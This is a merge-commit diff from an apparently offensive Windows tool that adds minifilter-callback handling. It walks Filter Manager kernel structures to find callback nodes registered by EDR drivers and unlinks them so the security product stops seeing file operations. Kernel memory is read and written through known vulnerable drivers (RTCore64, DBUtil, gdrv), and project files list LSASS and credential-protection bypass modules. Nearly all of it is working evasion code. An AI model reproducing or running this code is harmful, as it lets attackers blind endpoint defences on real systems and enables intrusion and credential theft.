Merge pull request #22 from wavestone-cdt/minifilters

Finished implementing minifilter handling
This commit is contained in:
Maxime Meignan
2023-11-29 14:37:53 +01:00
committed by GitHub
22 changed files with 812 additions and 106 deletions
+1 -1
View File
@@ -108,7 +108,7 @@ VOID ReadMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
} }
/* /*
* RTCore driver allows to write 1, 2 or 4 bytes at a type * RTCore driver allows to write 1, 2 or 4 bytes at a time
*/ */
VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) { VOID WriteMemoryPrimitive_RTCore(SIZE_T Size, DWORD64 Address, PVOID Buffer) {
while (Size) { while (Size) {
+4
View File
@@ -171,11 +171,13 @@
<ClCompile Include="KernellandBypass\KernelCallbacks.c" /> <ClCompile Include="KernellandBypass\KernelCallbacks.c" />
<ClCompile Include="KernellandBypass\KernelDSE.c" /> <ClCompile Include="KernellandBypass\KernelDSE.c" />
<ClCompile Include="KernellandBypass\KernelUtils.c" /> <ClCompile Include="KernellandBypass\KernelUtils.c" />
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c" />
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" /> <ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
<ClCompile Include="UserlandBypass\Syscalls.c" /> <ClCompile Include="UserlandBypass\Syscalls.c" />
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" /> <ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
<ClCompile Include="Utils\CiOffsets.c" /> <ClCompile Include="Utils\CiOffsets.c" />
<ClCompile Include="Utils\FileUtils.c" /> <ClCompile Include="Utils\FileUtils.c" />
<ClCompile Include="Utils\FltmgrOffsets.c" />
<ClCompile Include="Utils\HttpClient.c" /> <ClCompile Include="Utils\HttpClient.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" /> <ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
<ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" /> <ClCompile Include="LSASSProtectionBypass\RunAsPPL.c" />
@@ -209,7 +211,9 @@
<ClInclude Include="Includes\DriverDBUtil.h" /> <ClInclude Include="Includes\DriverDBUtil.h" />
<ClInclude Include="Includes\DriverGDRV.h" /> <ClInclude Include="Includes\DriverGDRV.h" />
<ClInclude Include="Includes\DriverRTCore.h" /> <ClInclude Include="Includes\DriverRTCore.h" />
<ClInclude Include="Includes\FltmgrOffsets.h" />
<ClInclude Include="Includes\KernelDSE.h" /> <ClInclude Include="Includes\KernelDSE.h" />
<ClInclude Include="Includes\MinifilterCallbacks.h" />
<ClInclude Include="Includes\PrintFunctions.h" /> <ClInclude Include="Includes\PrintFunctions.h" />
<ClInclude Include="Includes\PdbParser.h" /> <ClInclude Include="Includes\PdbParser.h" />
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" /> <ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
+12
View File
@@ -129,6 +129,12 @@
<ClCompile Include="Utils\PdbParser.c"> <ClCompile Include="Utils\PdbParser.c">
<Filter>Source Files</Filter> <Filter>Source Files</Filter>
</ClCompile> </ClCompile>
<ClCompile Include="KernellandBypass\MinifilterCallbacks.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\FltmgrOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<ClInclude Include="Includes\CredGuard.h"> <ClInclude Include="Includes\CredGuard.h">
@@ -254,6 +260,12 @@
<ClInclude Include="Includes\PdbParser.h"> <ClInclude Include="Includes\PdbParser.h">
<Filter>Header Files</Filter> <Filter>Header Files</Filter>
</ClInclude> </ClInclude>
<ClInclude Include="Includes\MinifilterCallbacks.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\FltmgrOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<MASM Include="Utils\SW2_Syscalls_stubs.x64.asm"> <MASM Include="Utils\SW2_Syscalls_stubs.x64.asm">
+50
View File
@@ -0,0 +1,50 @@
#pragma once
#include <Windows.h>
enum FltmgrOffsetType {
FltGlobals = 0,
_GLOBALS_FrameList,
_FLT_RESOURCE_LIST_HEAD_rList,
_FLTP_FRAME_Links,
_FLTP_FRAME_RegisteredFilters,
_FLT_OBJECT_PrimaryLink,
_FLT_FILTER_DriverObject,
_FLT_FILTER_InstanceList,
_DRIVER_OBJECT_DriverInit,
_FLT_INSTANCE_CallbackNodes,
_FLT_INSTANCE_FilterLink,
_SUPPORTED_FLTMGR_OFFSETS_END
};
union FltmgrOffsets {
// structure version of fltmgr.sys's offsets
struct {
DWORD64 FltGlobals;
DWORD64 _GLOBALS_FrameList;
DWORD64 _FLT_RESOURCE_LIST_HEAD_rList;
DWORD64 _FLTP_FRAME_Links;
DWORD64 _FLTP_FRAME_RegisteredFilters;
DWORD64 _FLT_OBJECT_PrimaryLink;
DWORD64 _FLT_FILTER_DriverObject;
DWORD64 _FLT_FILTER_InstanceList;
DWORD64 _DRIVER_OBJECT_DriverInit;
DWORD64 _FLT_INSTANCE_CallbackNodes;
DWORD64 _FLT_INSTANCE_FilterLink;
} st;
// array version (usefull for code factoring)
DWORD64 ar[_SUPPORTED_FLTMGR_OFFSETS_END];
};
union FltmgrOffsets g_fltmgrOffsets;
BOOL LoadFltmgrOffsets(_In_opt_ TCHAR* fltmgrOffsetFilename, BOOL canUseInternet);
BOOL LoadFltmgrOffsetsFromFile(TCHAR* fltmgrOffsetFilename);
void SaveFltmgrOffsetsToFile(TCHAR* fltmgrOffsetFilename);
BOOL LoadFltmgrOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetFltmgrPath();
LPTSTR GetFltmgrVersion();
+10 -5
View File
@@ -20,7 +20,8 @@
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc) //TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
enum kernel_callback_type_e { enum kernel_callback_type_e {
NOTIFY_ROUTINE_CB, NOTIFY_ROUTINE_CB,
OBJECT_CALLBACK OBJECT_CALLBACK,
MINIFILTER_CALLBACK,
}; };
struct KRNL_CALLBACK { struct KRNL_CALLBACK {
enum kernel_callback_type_e type; enum kernel_callback_type_e type;
@@ -34,17 +35,21 @@ struct KRNL_CALLBACK {
struct object_callback_t { struct object_callback_t {
DWORD64 enable_addr; DWORD64 enable_addr;
} object_callback; } object_callback;
struct minifilter_callback_t {
DWORD64 callback_node;
} minifilter_callback;
} addresses; } addresses;
DWORD64 callback_func; DWORD64 callback_func; //TODO: reorganize this struct since object callbacks and minifilter callbacks have preoperations and postoperations
BOOL removed; BOOL removed;
}; };
struct FOUND_EDR_CALLBACKS { struct FOUND_EDR_CALLBACKS {
DWORD64 index; SIZE_T size;
struct KRNL_CALLBACK EDR_CALLBACKS[256]; SIZE_T max_size;
struct KRNL_CALLBACK* EDR_CALLBACKS;
}; };
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback);
BOOL isDriverEDR(TCHAR* driver); BOOL isDriverEDR(TCHAR* driver);
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers); void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
@@ -6,23 +6,28 @@
#define DBUtil 1 #define DBUtil 1
#define GDRV 2 #define GDRV 2
// Select the driver to use with the following #define // Select the driver to use with the following #define
#define VULN_DRIVER RTCore #define VULN_DRIVER GDRV
//TODO : design a way to make an atomic write given a non-atomic one
//idea : modify a PTE to mark a page userland-reachable and perform the write from the process
#if VULN_DRIVER == RTCore #if VULN_DRIVER == RTCore
#define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys") #define DEFAULT_DRIVER_FILE TEXT("RTCore64.sys")
#define CloseDriverHandle CloseDriverHandle_RTCore #define CloseDriverHandle CloseDriverHandle_RTCore
#define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore #define ReadMemoryPrimitive ReadMemoryPrimitive_RTCore
#define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore #define WriteMemoryPrimitive WriteMemoryPrimitive_RTCore
#define WriteMemoryPrimitiveIsAtomic 0 //RTCore only allows to write up to a DWORD at a time
#elif VULN_DRIVER == DBUtil #elif VULN_DRIVER == DBUtil
#define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys") #define DEFAULT_DRIVER_FILE TEXT("DBUtil_2_3.sys")
#define CloseDriverHandle CloseDriverHandle_DBUtil #define CloseDriverHandle CloseDriverHandle_DBUtil
#define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil #define ReadMemoryPrimitive ReadMemoryPrimitive_DBUtil
#define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil #define WriteMemoryPrimitive WriteMemoryPrimitive_DBUtil
#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size
#elif VULN_DRIVER == GDRV #elif VULN_DRIVER == GDRV
#define DEFAULT_DRIVER_FILE TEXT("gdrv.sys") #define DEFAULT_DRIVER_FILE TEXT("gdrv.sys")
#define CloseDriverHandle CloseDriverHandle_GDRV #define CloseDriverHandle CloseDriverHandle_GDRV
#define ReadMemoryPrimitive ReadMemoryPrimitive_GDRV #define ReadMemoryPrimitive ReadMemoryPrimitive_GDRV
#define WriteMemoryPrimitive WriteMemoryPrimitive_GDRV #define WriteMemoryPrimitive WriteMemoryPrimitive_GDRV
#define WriteMemoryPrimitiveIsAtomic 1 //DBUtil allows to write an arbitrary size
#endif #endif
BYTE ReadMemoryBYTE(DWORD64 Address); BYTE ReadMemoryBYTE(DWORD64 Address);
@@ -0,0 +1,9 @@
#pragma once
#include <Windows.h>
#include "KernelCallbacks.h"
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose);
#if WriteMemoryPrimitiveIsAtomic
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks);
#endif
+2 -1
View File
@@ -32,7 +32,8 @@ union WdigestOffsets {
union WdigestOffsets g_wdigestOffsets; union WdigestOffsets g_wdigestOffsets;
// Return the offsets of nt!PspCreateProcessNotifyRoutine, nt!PspCreateThreadNotifyRoutine, nt!PspLoadImageNotifyRoutine, and nt!_PS_PROTECTION for the specific Windows version in use. // TODO : create a LoadWdigestOffsets function like LoadCiOffsets
// TODO2 : find a way to factorize all the copy-pasted code between Ci/Ntoskrnl/Wdigest/FltmgrOffsets
void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename); void LoadWdigestOffsetsFromFile(TCHAR* wdigestOffsetFilename);
void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename); void SaveWdigestOffsetsToFile(TCHAR* wdigestOffsetFilename);
+25 -11
View File
@@ -25,8 +25,8 @@ DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) { BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType); DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(notifyRoutineType);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]); _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tEnumerating %s callbacks\n"), notifyRoutineTypeStrs[notifyRoutineType]);
if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRountines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); } if (verbose) { _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tPsp%sNotifyRoutine: 0x%I64x\n"), notifyRoutineTypeNames[notifyRoutineType], NotifyRoutineAddress); }
SIZE_T CurrentEDRCallbacksCount = 0; SIZE_T CurrentEDRCallbacksCount = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) { for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
@@ -36,7 +36,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
DWORD64 cbFunction = ReadMemoryDWORD64(callback); DWORD64 cbFunction = ReadMemoryDWORD64(callback);
DWORD64 driverOffset; DWORD64 driverOffset;
TCHAR* driver = FindDriverName(cbFunction, &driverOffset); TCHAR* driver = FindDriverName(cbFunction, &driverOffset);
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset); _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\t%016llx [%s + 0x%llx]\n"), cbFunction, driver, driverOffset);
if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR if (driver && isDriverNameMatchingEDR(driver)) { //TODO : also use certificates to determine if EDR
DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64)); DWORD64 callback_addr = NotifyRoutineAddress + (i * sizeof(DWORD64));
@@ -49,7 +49,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
newFoundDriver.addresses.notify_routine.type = notifyRoutineType; newFoundDriver.addresses.notify_routine.type = notifyRoutineType;
newFoundDriver.callback_func = cbFunction; newFoundDriver.callback_func = cbFunction;
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t\tFound callback belonging to EDR driver %s"), driver); _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t\tFound callback belonging to EDR driver %s"), driver);
if (verbose) { if (verbose) {
_tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction); _tprintf_or_not(TEXT(" [callback addr : 0x%I64x | callback struct : 0x%I64x | callback function : 0x%I64x]\n"), callback_addr, callback_struct, cbFunction);
} }
@@ -58,32 +58,31 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
} }
newFoundDriver.removed = FALSE; newFoundDriver.removed = FALSE;
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver; AddFoundKernelCallback(edrCallbacks, &newFoundDriver);
edrCallbacks->index++;
CurrentEDRCallbacksCount++; CurrentEDRCallbacksCount++;
} }
} }
} }
if (CurrentEDRCallbacksCount == 0) { if (CurrentEDRCallbacksCount == 0) {
_putts_or_not(TEXT("[+] [NotifyRountines]\tNo EDR driver(s) found!")); _putts_or_not(TEXT("[+] [NotifyRoutines]\tNo EDR driver(s) found!"));
} }
else { else {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount); _tprintf_or_not(TEXT("[+] [NotifyRoutines]\tFound a total of %llu EDR / security products driver(s)\n"), CurrentEDRCallbacksCount);
} }
return CurrentEDRCallbacksCount > 0; return CurrentEDRCallbacksCount > 0;
} }
void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) { void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutineType, struct FOUND_EDR_CALLBACKS* edrCallbacks, BOOL remove) {
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring"); TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]); _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
for (DWORD i = 0; i < edrCallbacks->index; ++i) { for (DWORD i = 0; i < edrCallbacks->size; ++i) {
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i]; struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
if (cb->type == NOTIFY_ROUTINE_CB && if (cb->type == NOTIFY_ROUTINE_CB &&
cb->addresses.notify_routine.type == notifyRoutineType && cb->addresses.notify_routine.type == notifyRoutineType &&
cb->removed == !remove) { cb->removed == !remove) {
_tprintf_or_not(TEXT("[+] [NotifyRountines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"), _tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s callback of EDR driver \"%s\" [callback addr: 0x%I64x | callback struct: 0x%I64x | callback function: 0x%I64x]\n"),
action, action,
cb->driver_name, cb->driver_name,
cb->addresses.notify_routine.callback_struct_addr, cb->addresses.notify_routine.callback_struct_addr,
@@ -138,3 +137,18 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) { void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE); RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
} }
//TODO : put "kernel notify routines"-related functions in a KernelNotifyRoutines.c, and only left common "kernel callbacks"-related functions in KernelCallbacks.c
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback) {
if (foundCallbacks->size == foundCallbacks->max_size) {
foundCallbacks->max_size = foundCallbacks->max_size * 2 + 1;
PVOID tmp = realloc(foundCallbacks->EDR_CALLBACKS, foundCallbacks->max_size * sizeof(struct KRNL_CALLBACK));
if (tmp == NULL) {
exit(1);
}
foundCallbacks->EDR_CALLBACKS = tmp;
}
foundCallbacks->EDR_CALLBACKS[foundCallbacks->size] = *newCallback;
foundCallbacks->size++;
}
@@ -0,0 +1,215 @@
#include <Windows.h>
#include <Tchar.h>
#ifdef _DEBUG
#include <assert.h>
#endif
#include "FltmgrOffsets.h"
#include "IsEDRChecks.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "PrintFunctions.h"
#include "PdbSymbols.h"
#include "MinifilterCallbacks.h"
/*
This function browses the internal structures of the Filter Manager to enumerate callbacks registered
by EDR products.
To provide a quick context about the different internal structures:
- The Filter Manager establishes a "frame" (_FLTP_FRAME) as its root structure;
- A "volume" structure (_FLT_VOLUME) is instanciated for each "disk" managed by the Filter Manager (can be partitions,
shadow copies, or special ones corresponding to named pipes or remote file systems);
- To each registered minifilter driver corresponds a "filter" structure (_FLT_FILTER), describing various properties such
as its supported operations;
- These minifilters are not all attached to each volume; an "instance" (_FLT_INSTANCE) structure is created to mark each of the
filter<->volume association;
- Minifilters register callback functions that are executed before and/or after specific operation (file open, write, read, etc.).
These callbacks are described in _CALLBACK_NODE structures. An array of all _CALLBACK_NODE implemented by an instance of a
minifilter can be found in _FLT_INSTANCE; the array indexed by the IRP "major function" code, a constant representing the operation
affected by the callback (IRP_MJ_CREATE, IRP_MJ_READ, etc.).
Moreover, all _CALLBACK_NODEs implemented by instances linked to a specific volume are regrouped in linked lists, stored in the
_FLT_VOLUME.Callbacks.OperationLists array indexed by IRP major function codes.
Upon a specific operation (for example, a file opening on C:), the appropriate _FLT_VOLUME is recovered from the _FLTP_FRAME structure
(AttachedVolumes's list), the _FLT_VOLUME.Callbacks.OperationLists[irpMajorFunctionCode] list of _CALLBACK_NODE is browsed and callbacks
functions are executed.
In order to detect EDR-related callbacks, the following function:
- Enumerates the frames (_FLTP_FRAME) thanks to a list stored in a global variable of fltmgr.sys: ((_GLOBALS*)&FltGlobals)->FrameList.rList
- Enumerates the filters (_FLT_FILTER) of the frame: ((_FLTP_FRAME*)currentFrame)->RegisteredFilters.rList
- Checks if the driver implementing the filter is EDR-related (checks the name of the module where
(_FLT_FILTER*)currentFilter->DriverObject->DriverInit is implemented)
- If the driver is an EDR, enumerate all instances of the associated filter, by browsing ((_FLT_FILTER*)currentFilter)->InstanceList.rList
- For each instance, enumerate the CallbackNodes array, whose non-NULL entries directly point to _CALLBACK_NODEs in their respective
lists in _FLT_VOLUME.Callbacks.OperationLists
*/
BOOL EnumEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* foundEDRCallbacks, BOOL verbose) {
BOOL edrCallbacksWereFound = FALSE;
DWORD64 fltmgr_base = FindKernelModuleAddressByName(L"fltmgr.sys");
if (!fltmgr_base)
return -1;
if (verbose) {
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tfltmgr.sys : %016llx\n"), fltmgr_base);
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFltGlobals : %016llx\n"), fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals);
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\tFrameList : %016llx\n"), fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals
+ g_fltmgrOffsets.st._GLOBALS_FrameList
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList);
}
_putts_or_not(TEXT("[*] [MinifilterCallbacks]\tEnumerating minifilters' frames, filters, instances and callback nodes:"));
DWORD64 frame_list_header = fltmgr_base
+ g_fltmgrOffsets.st.FltGlobals
+ g_fltmgrOffsets.st._GLOBALS_FrameList
+ g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_frame_shifted = ReadMemoryDWORD64(frame_list_header);
current_frame_shifted != frame_list_header;
current_frame_shifted = ReadMemoryDWORD64(current_frame_shifted)
) {
DWORD64 current_frame = current_frame_shifted - g_fltmgrOffsets.st._FLTP_FRAME_Links;
_tprintf_or_not(TEXT("[*] [MinifilterCallbacks]\t_FLTP_FRAME : %016llx:\n"), current_frame);
DWORD64 filter_list_header = current_frame + g_fltmgrOffsets.st._FLTP_FRAME_RegisteredFilters + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_filter_shifted = ReadMemoryDWORD64(filter_list_header);
current_filter_shifted != filter_list_header;
current_filter_shifted = ReadMemoryDWORD64(current_filter_shifted)
) {
DWORD64 current_filter = current_filter_shifted - g_fltmgrOffsets.st._FLT_OBJECT_PrimaryLink;
// check if current filter is EDR-related
DWORD64 driverObject = ReadMemoryDWORD64(current_filter + g_fltmgrOffsets.st._FLT_FILTER_DriverObject);
DWORD64 driverInit = ReadMemoryDWORD64(driverObject + g_fltmgrOffsets.st._DRIVER_OBJECT_DriverInit);
DWORD64 driverOffset;
TCHAR* driver = FindDriverName(driverInit, &driverOffset);
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t_FLT_FILTER %016llx (%s)\n"), current_filter, driver);
if (driver && isDriverNameMatchingEDR(driver)) {
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\tEDR-related filter found! Enumerating callbacks from all instances:"));
DWORD64 instance_list_header = current_filter + g_fltmgrOffsets.st._FLT_FILTER_InstanceList + g_fltmgrOffsets.st._FLT_RESOURCE_LIST_HEAD_rList;
for (DWORD64 current_instance_shifted = ReadMemoryDWORD64(instance_list_header);
current_instance_shifted != instance_list_header;
current_instance_shifted = ReadMemoryDWORD64(current_instance_shifted)
) {
DWORD64 current_instance = current_instance_shifted - g_fltmgrOffsets.st._FLT_INSTANCE_FilterLink;
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t\t_FLT_INSTANCE %016llx: "), current_instance);
// for each CALLBACK_NODE in the array
DWORD64 CallbackNodesArray = current_instance + g_fltmgrOffsets.st._FLT_INSTANCE_CallbackNodes;
SIZE_T nbCallbackNodes = 0;
for (int j = 0; j < 50; j++)
{
DWORD64 CallbackNodePointer = ReadMemoryDWORD64(CallbackNodesArray + (j * sizeof(PVOID)));
// Register all callback nodes
if (CallbackNodePointer)
{
// Ugly hack: check if the node really is part of a linked list or have already been unlinked
// TODO: change the whole logic of this file and browse callback nodes directly from _FLT_VOLUME.Callbacks.OperationLists ?
DWORD64 prevNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Blink));
DWORD64 prevNodeNext = ReadMemoryDWORD64(prevNode + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNode = ReadMemoryDWORD64(CallbackNodePointer + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNodePrev = ReadMemoryDWORD64(nextNode + offsetof(LIST_ENTRY, Blink));
if (prevNodeNext != CallbackNodePointer && nextNodePrev != CallbackNodePointer) {
continue;
}
struct KRNL_CALLBACK cb = {
.type = MINIFILTER_CALLBACK,
.addresses.minifilter_callback.callback_node = CallbackNodePointer,
.callback_func = 0, //TODO: complete with preoperation & postoperations func address for information
.driver_name = driver,
.removed = FALSE,
};
AddFoundKernelCallback(foundEDRCallbacks, &cb);
edrCallbacksWereFound = TRUE;
nbCallbackNodes++;
}
}
_tprintf_or_not(TEXT("%llu callback nodes found!\n"), nbCallbackNodes);
}
}
}
}
return edrCallbacksWereFound;
}
#if WriteMemoryPrimitiveIsAtomic
/*
When EDR-related _CALLBACK_NODEs have been identified thanks to the previous function, to disable the callbacks, these nodes are
simply unlinked from their lists.
That way, the filter manager will not see the callback nodes and never execute the associated pre/post-operations functions upon
some specific I/O operation.
Note: since we are modifying linked lists without holding any lock and while the operating system could browse the lists at the
same time, we have to maintain at least some consistency during modification. The write primitive should be able to write a whole
pointer (i.e. 8 bytes) in a single call, or else the overwritten pointer would have an incorrect value between 2 calls, and could
lead to a crash if the operating system browses the list.
*/
void RemoveEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRemoving previously identified callbacks nodes by unlinking them from their list"));
SIZE_T counter = 0;
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS;
ptr < edrCallbacks->EDR_CALLBACKS + edrCallbacks->size;
ptr++
) {
if (ptr->type == MINIFILTER_CALLBACK &&
ptr->removed == FALSE) {
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), prevNodeAddress);
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), nextNodeAddress);
ptr->removed = TRUE;
counter++;
}
}
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were removed!\n"), counter);
}
/*
To restore the callbacks, we rely on the fact that the LIST_ENTRY of the _CALLBACK_NODE still points to the original previous
and next nodes in the list where is was unlinked from. We simply reinsert the nodes in the inverse order from which unlinked
them to ensure the linked list consistency during the process.
*/
BOOL RestoreEDRMinifilterCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
BOOL success = TRUE;
_putts_or_not(TEXT("[+] [MinifilterCallbacks]\tRestoring unlinked callbacks node by re-inserting them in their original place"));
SIZE_T counter = 0;
// reinsert the nodes in the inverse order to avoid invalid states
for (struct KRNL_CALLBACK* ptr = edrCallbacks->EDR_CALLBACKS + edrCallbacks->size - 1;
edrCallbacks->EDR_CALLBACKS <= ptr;
ptr--
) {
if (ptr->type == MINIFILTER_CALLBACK &&
ptr->removed == TRUE) {
DWORD64 callbackNodeAddress = ptr->addresses.minifilter_callback.callback_node;
DWORD64 prevNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Blink));
DWORD64 nextNodeAddress = ReadMemoryDWORD64(callbackNodeAddress + offsetof(LIST_ENTRY, Flink));
// Checks that "previous" and "next" nodes are still next to each other in the list
DWORD64 prevNodeFlink = ReadMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink));
DWORD64 nextNodeBlink = ReadMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink));
if (prevNodeFlink != nextNodeAddress || nextNodeBlink != prevNodeAddress) {
_putts_or_not(TEXT("[-] [MinifilterCallbacks]\tWARNING: a callback node could not have been restored! Maybe the node list changed between node removal and node reinsertion?"));
success = FALSE;
continue;
}
WriteMemoryDWORD64(nextNodeAddress + offsetof(LIST_ENTRY, Blink), callbackNodeAddress);
WriteMemoryDWORD64(prevNodeAddress + offsetof(LIST_ENTRY, Flink), callbackNodeAddress);
ptr->removed = FALSE;
counter++;
}
}
_tprintf_or_not(TEXT("[+] [MinifilterCallbacks]\t\t%llu callback nodes were restored!\n"), counter);
return success;
}
#endif
+19 -21
View File
@@ -192,10 +192,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List); for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
cbEntry != ObjectType_Callbacks_List; cbEntry != ObjectType_Callbacks_List;
